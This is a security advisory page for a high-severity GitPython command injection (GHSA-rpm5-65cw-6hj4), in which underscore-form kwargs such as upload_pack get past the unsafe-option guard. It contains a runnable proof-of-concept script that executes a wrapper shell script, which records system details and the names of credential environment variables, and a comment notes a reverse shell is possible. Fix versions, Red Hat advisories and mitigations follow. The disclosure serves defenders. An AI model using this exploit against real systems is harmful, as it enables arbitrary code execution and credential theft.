GitPython has Command Injection via Git options bypassGHSA-rpm5-65cw-6hj4
HIGHGHSA-rpm5-65cw-6hj4 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rpm5-65cw-6hj4.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
- Expected result:
- The script prints
control=blocked - The script prints
proof_exists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including
id, working directory, argv, and selected environment variable names
Example output:
GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
- Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with
**kwargs - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
- A value that becomes
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()
From a severity perspective, this could lead to
- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
- Modification of repositories, build outputs, or release artifacts
- Lateral movement from CI/CD workers or automation hosts
- Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | ≥ 3.1.30&&< 3.1.47 | 3.1.47pip install --upgrade 'gitpython==3.1.47' |
Affected Products
gitpythongitpython_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.47 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rpm5-65cw-6hj4 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important arbitrary command execution flaw in GitPython, a library utilized across several Red Hat products. The vulnerability arises from an incomplete security check that allows specially crafted Python keyword arguments, such as `upload_pack` or `receive_pack`, to bypass intended safeguards against…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-rpm5-65cw-6hj4 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | python3.12-gitpython-0:3.1.50-1.el8ap | RHSA-2026:42078 |
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | python3.12-gitpython-0:3.1.50-1.el9ap | RHSA-2026:42079 |
| Red Hat Satellite 6.16 for RHEL 8 | foreman-0:3.12.0.23-1.el8sat | RHSA-2026:74506 |
| Red Hat Satellite 6.17 for RHEL 9 | foreman-0:3.14.0.22-1.el9sat | RHSA-2026:74505 |
| Red Hat Satellite 6.18 for RHEL 9 | foreman-0:3.16.0.25-1.el9sat | RHSA-2026:74504 |
| Red Hat Satellite 6.19 for RHEL 9 | python3.12-gitpython-0:3.1.59-1.el9pc | RHSA-2026:63385 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/controller-rhel8:1789607021 | RHSA-2026:71210 |
| Red Hat Ansible Automation Platform 2.6 | ansible-automation-platform-26/hub-rhel9:1783979593 | RHSA-2026:42132 |
Frequently Asked Questions
Is GHSA-rpm5-65cw-6hj4 in your dependencies?
Find it across PyPI, including transitive dependencies.